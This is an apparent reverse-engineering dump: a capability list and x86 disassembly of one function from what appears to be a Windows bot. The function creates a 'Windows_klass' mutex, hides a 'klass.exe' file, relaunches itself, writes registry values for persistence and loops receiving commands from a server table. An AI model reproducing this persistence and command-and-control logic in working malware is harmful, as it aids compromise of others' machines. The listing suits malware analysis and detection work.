Function at 0x40555c
Capabilities:
Check mutex on windows
Create process on windows
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd14
and dword [ebp - 0xa08], 0
mov dword [ebp - 0xa0c], 1
and dword [ebp - 0xb20], 0
call fcn.00408865
test eax, eax
je 0x40558d
xor eax, eax
jmp 0x405b4a
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push dword [0x415158]
push str.Windows_klass
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4055bf
xor eax, eax
jmp 0x405b4a
call fcn.00408f8a
cmp dword [ebp - 0xa08], 0
jne 0x40560c
push str.klass.exe
push dword [ebp - 0xa0c]
call fcn.0040890e
pop ecx
pop ecx
mov dword [ebp - 0xa08], eax
mov eax, dword [ebp - 0xa0c]
inc eax
mov dword [ebp - 0xa0c], eax
cmp dword [ebp - 0xa0c], 4
jne 0x40560a
push 7
push str.klass.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40560c
jmp 0x4055c4
cmp dword [ebp - 0xa08], 0
jle 0x405711
push 0x104
lea eax, [ebp - 0xa04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4167f4
lea eax, [ebp - 0xa04]
push eax
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
je 0x405711
cmp dword [ebp - 0xa0c], 3
jne 0x40566a
push 0x415430
push 0x4167f4
call fcn.0040aed0
pop ecx
pop ecx
test eax, eax
jne 0x405711
push 0x10
push 0
lea eax, [ebp - 0xd0c]
push eax
call fcn.00409ce0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0xcfc]
push eax
call fcn.00409ce0
add esp, 0xc
mov dword [ebp - 0xcf0], 0x418150
mov dword [ebp - 0xcfc], 0x44
mov dword [ebp - 0xcd0], 1
and word [ebp - 0xccc], 0
lea eax, [ebp - 0xd0c]
push eax
lea eax, [ebp - 0xcfc]
push eax
push 0
push 0
push 0x28
push 0
push 0
push 0
push 0x4167f4
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405711
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0xd0c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xd08]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x405b4a
push 0x104
lea eax, [ebp - 0xa04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4152bc
call fcn.004054c9
pop ecx
push eax
push 0x415278
call fcn.004054c9
pop ecx
push eax
lea eax, [ebp - 0xa04]
push eax
push 0x415434
push 0x100
lea eax, [ebp - 0x900]
push eax
call fcn.0040a3af
add esp, 0x18
push 0
lea eax, [ebp - 0xa10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x415288
call fcn.004054c9
pop ecx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0xa04]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0xa04]
push eax
push 1
push 0
push 0x4152bc
call fcn.004054c9
pop ecx
push eax
push dword [ebp - 0xa10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xa10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0xa10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4151f8
call fcn.004054c9
pop ecx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x900]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x900]
push eax
push 1
push 0
lea eax, [ebp - 0xa04]
push eax
push dword [ebp - 0xa10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xa10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xcb8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 0
je 0x405854
xor eax, eax
jmp 0x405b4a
and dword [0x4168fc], 0
mov eax, dword [0x415150]
mov dword [ebp - 0xb28], eax
and dword [ebp - 0xb24], 0
and dword [ebp - 0xa0c], 0
push 1
pop eax
test eax, eax
je 0x405b36
mov eax, dword [ebp - 0xa0c]
shl eax, 4
cmp dword [eax + 0x4150b8], 0
jne 0x405898
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xa0c]
shl eax, 4
push dword [eax + 0x4150c4]
mov eax, dword [ebp - 0xa0c]
shl eax, 4
push dword [eax + 0x4150c0]
mov eax, dword [ebp - 0xa0c]
shl eax, 4
push dword [eax + 0x4150bc]
mov eax, dword [ebp - 0xa0c]
shl eax, 4
push dword [eax + 0x4150b8]
call fcn.00405b4e
add esp, 0x10
test eax, eax
je 0x405b18
mov dword [0x4168fc], 1
and dword [ebp - 0xa0c], 0
cmp dword [0x416900], 0
jbe 0x405b0a
and dword [ebp - 0xb18], 0
and dword [ebp - 0xd10], 0
jmp 0x40591f
mov eax, dword [ebp - 0xd10]
inc eax
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0xd10]
cmp eax, dword [ebp - 0xb18]
jae 0x405946
mov eax, dword [ebp - 0xd10]
mov eax, dword [ebp + eax*4 - 0xb14]
cmp eax, dword [0x416900]
jne 0x405944
jmp 0x405946
jmp 0x405912
mov eax, dword [ebp - 0xd10]
cmp eax, dword [ebp - 0xb18]
jne 0x40597d
cmp dword [ebp - 0xb18], 0x40
jae 0x40597d
mov eax, dword [ebp - 0xd10]
mov ecx, dword [0x416900]
mov dword [ebp + eax*4 - 0xb14], ecx
mov eax, dword [ebp - 0xb18]
inc eax
mov dword [ebp - 0xb18], eax
xor eax, eax
test eax, eax
jne 0x405909
and dword [ebp - 0xb1c], 0
push 0x800
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.00409ce0
add esp, 0xc
lea eax, [ebp - 0xb28]
push eax
push 0
push 0
lea eax, [ebp - 0xb18]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0xa14], eax
cmp dword [ebp - 0xa14], 0
jle 0x405a34
cmp dword [ebp - 0xb1c], 0x7ff
jne 0x4059db
jmp 0x405a34
push 0
push 1
mov eax, dword [ebp - 0xb1c]
lea eax, [ebp + eax - 0x800]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebp - 0xb1c]
add ecx, eax
mov dword [ebp - 0xb1c], ecx
mov eax, dword [ebp - 0xb1c]
movsx eax, byte [ebp + eax - 0x801]
cmp eax, 0xd
je 0x405a2d
mov eax, dword [ebp - 0xb1c]
movsx eax, byte [ebp + eax - 0x801]
cmp eax, 0xa
jne 0x405a2f
jmp 0x405a34
jmp 0x4059a0
cmp dword [ebp - 0xa14], 0
jg 0x405a42
jmp 0x405b0a
cmp dword [ebp - 0xb1c], 2
jge 0x405a50
jmp 0x4058f5
mov eax, dword [ebp - 0xb1c]
and byte [ebp + eax - 0x801], 0
lea eax, [ebp - 0x800]
push eax
call fcn.00405d10
pop ecx
mov dword [ebp - 0xa08], eax
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0xd14], eax
cmp dword [ebp - 0xd14], 0xfffffffc
je 0x405ada
cmp dword [ebp - 0xd14], 0xfffffffd
je 0x405ac5
cmp dword [ebp - 0xd14], 0xfffffffe
je 0x405aac
cmp dword [ebp - 0xd14], 0xffffffff
je 0x405aa3
jmp 0x405afa
and dword [0x4168fc], 0
jmp 0x405afa
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x405b4a
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [0x4168fc], 0
jmp 0x405afa
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [0x4168fc], 0
mov eax, dword [ebp - 0xa0c]
inc eax
mov dword [ebp - 0xa0c], eax
cmp dword [0x4168fc], 0
jne 0x405b05
jmp 0x405b0a
jmp 0x4058f5
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x405b25
mov eax, dword [ebp - 0xa0c]
inc eax
mov dword [ebp - 0xa0c], eax
push dword [0x41514c]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405874
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
leave
ret 0x10